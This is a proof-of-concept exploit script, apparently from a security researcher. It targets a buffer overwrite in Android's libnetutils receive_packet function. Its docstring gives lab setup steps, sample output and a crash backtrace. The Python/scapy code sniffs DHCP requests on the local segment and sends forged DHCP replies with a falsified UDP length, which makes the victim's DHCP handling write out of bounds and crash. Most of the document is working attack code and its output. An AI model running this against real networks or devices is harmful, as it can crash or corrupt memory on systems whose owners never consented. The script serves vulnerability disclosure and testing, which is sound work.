#!/usr/bin/env python
# -*- coding: UTF-8 -*-
# github.com/tintinweb
'''

[target]
    android.platform.system.core.libnetutils :: packet.c :: receive_packet buffer overwrite

[ref]
    https://android.googlesource.com/platform/system/core/+/master/libnetutils/
[The Plot]

            [vm-A - attacker][eth1]---------------DHCP--------------[eth1][vm-B - victim]


    * vm-A - the attacker:
    ** both machines must be on the same network segment (DHCP)
    ** ubuntu linux; vmware may require to allow promisc. mode in vm netif settings

    1) install python2.x
    2) install scapy - `pip install scapy` or `apt|yum install python-scapy`
    3) run `poc.py <interface>`

        The script sniffs for DHCP packets and answers with forged DHCP responses in an attempt to cause a buffer overwrite
        in libnetutils.


    * vm-B - the target:
    1) checkout `buildme.sh`, `fixup.h` and `sniffer.c`
    2) run `buildme.sh`
    2.1) the script will download and untar libnetutils from the official repository to the current directory
    2.2) and builds `sniffer.c` as `sniffer_poc`
         #> gcc -DVERBOSE -o sniff_poc sniffer.c packet.c dhcpmsg.c -lrt
    3) check if the build succeeds and execute `sudo ./sniffer_poc <interface>`

        `sniffer.c` is a simple raw socket packet sniffer that takes incoming UDP datagrams, wraps them as IO-objects and
         feeds them into the vulnerable method `packet.c:receive_packet` of `libnetutils`. This method lacks a check for
         the UDP packet size which allows to cause an out-of-bounds buffer write condition. The target buffer's location is
         up to the implementer and is being passed to `receive_packet`.

    4) vm-B likely already received an IP via DHCP and therefore may not re-request unless the lease expires. Since vm-A
       (the attacker) only sends out crafted DHCP responses for matching DHCP requests we will have to request a lease
       renewal (or new lease) by issuing `#> dhclient <interface>` (or your favorite dhcpc software). Rebooting and waiting
       for your device to renew/refresh the lease would be another option ;)

    5) `sniffer_poc` detects the UDP datagram, feeds it into `libnetutils` and crashes with a SIGSEGV


[output]
    poc.py

        [+] building malformed reply ...
        [i] --> received vendor_class = None
        [i] --> new checksum = f5fa
        ###[ Ethernet ]###
          dst       = 00:0c:29:dc:bb:31
          src       = 00:0c:29:5a:a5:9b
          type      = 0x800
        ###[ IP ]###
             version   = 4
             ihl       = None
             tos       = 0x0
             len       = None
             id        = 1
             flags     =
             frag      = 0
             ttl       = 64
             proto     = udp
             chksum    = None
             src       = 192.168.2.116
             dst       = 0.0.0.0
             \options   \
        ###[ UDP ]###
                sport     = bootps
                dport     = bootpc
                len       = 9000        //#!  even though the packet is only 28 bytes we hint 9000
                chksum    = 0xf5fa      //#!  and we fix the checksum
        [+] sending malformed reply ...
        .
        Sent 1 packets.


    sniff_poc

        [+] got UDP  - 28 bytes
        [+] wrap read data with shm_open() to create an fd that cann be passed to receive_packet(fd, &dhcp_msg)
        [+] calling receive_packet

        Program received signal SIGSEGV, Segmentation fault.
        __memcpy_sse2_unaligned () at ../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S:483
        483     ../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S: No such file or directory.

        (gdb) bt
        #0  __memcpy_sse2_unaligned () at ../sysdeps/i386/i686/multiarch/memcpy-sse2-unaligned.S:483
        #1  0x0804a033 in receive_packet (s=7, msg=0xbffff750) at packet.c:239
        #2  0x08048bfb in ProcessPacket (buffer=0x804d008 "E", size=28) at sniffer.c:102
        #3  0x08048a57 in main () at sniffer.c:63
'''

import sys
from scapy.all import Ether, IP, UDP, BOOTP, DHCP, checksum, conf, sendp, sniff


def get_udp_checksum(p):
    dummy = p[IP].copy()
    dummy[IP].version = 0
    dummy[IP].ihl = 0
    dummy[IP].tos = 0
    dummy[IP].len = p[UDP].len
    dummy[IP].id = 0
    dummy[IP].ttl = 0
    dummy[IP].frag = 0
    dummy[IP].chksum = 0x0
    dummy[UDP].chksum = 0x0
    chksum = checksum(str(dummy))
    print "[i] --> new checksum = %x" % chksum
    return chksum


def build_dhcp(pdiscover):
    req_addr = None
    server_id = None
    vendor_class = None
    try:
        for m in pdiscover[DHCP].options:
            n, v = m
            if n == "requested_addr":
                req_addr = v
            elif n == "server_id":
                server_id = v
            elif n == "vendor_class_id":
                vendor_class = v
    except:
        pass
    print "[i] --> received vendor_class = %s" % vendor_class
    e_dst = pdiscover[Ether].src

    p = Ether(dst=e_dst) / IP(src=server_id, dst=req_addr or "0.0.0.0") / UDP(sport=67, dport=68, len=9000)
    p[UDP].chksum = get_udp_checksum(p)
    return p


def detect_dhcp(p):
    print "[i] --> packet matched bpf"
    if BOOTP not in p or p[UDP].sport != 68 or p[UDP].dport != 67:
        print "[!] --> skipping unexpected packet"
        #p.show()
        return

    print "[i] got DHCP request"
    p.show()
    print "[+] building malformed reply ..."
    reply = build_dhcp(p)
    reply.show()
    print "[+] sending malformed reply ..."
    sendp(reply, iface=conf.iface, verbose=True)


def main():
    if len(sys.argv)>1:
        conf.iface=sys.argv[1]

    bpf = "udp and (port 67 or port 68)"

    print "[i] conf.iface = %s" % conf.iface
    print "[i] filter = %s" % bpf
    print "[i] ready! ..."
    sniff(filter=bpf, prn=detect_dhcp, store=0, iface=conf.iface)

if __name__=="__main__":
    main()
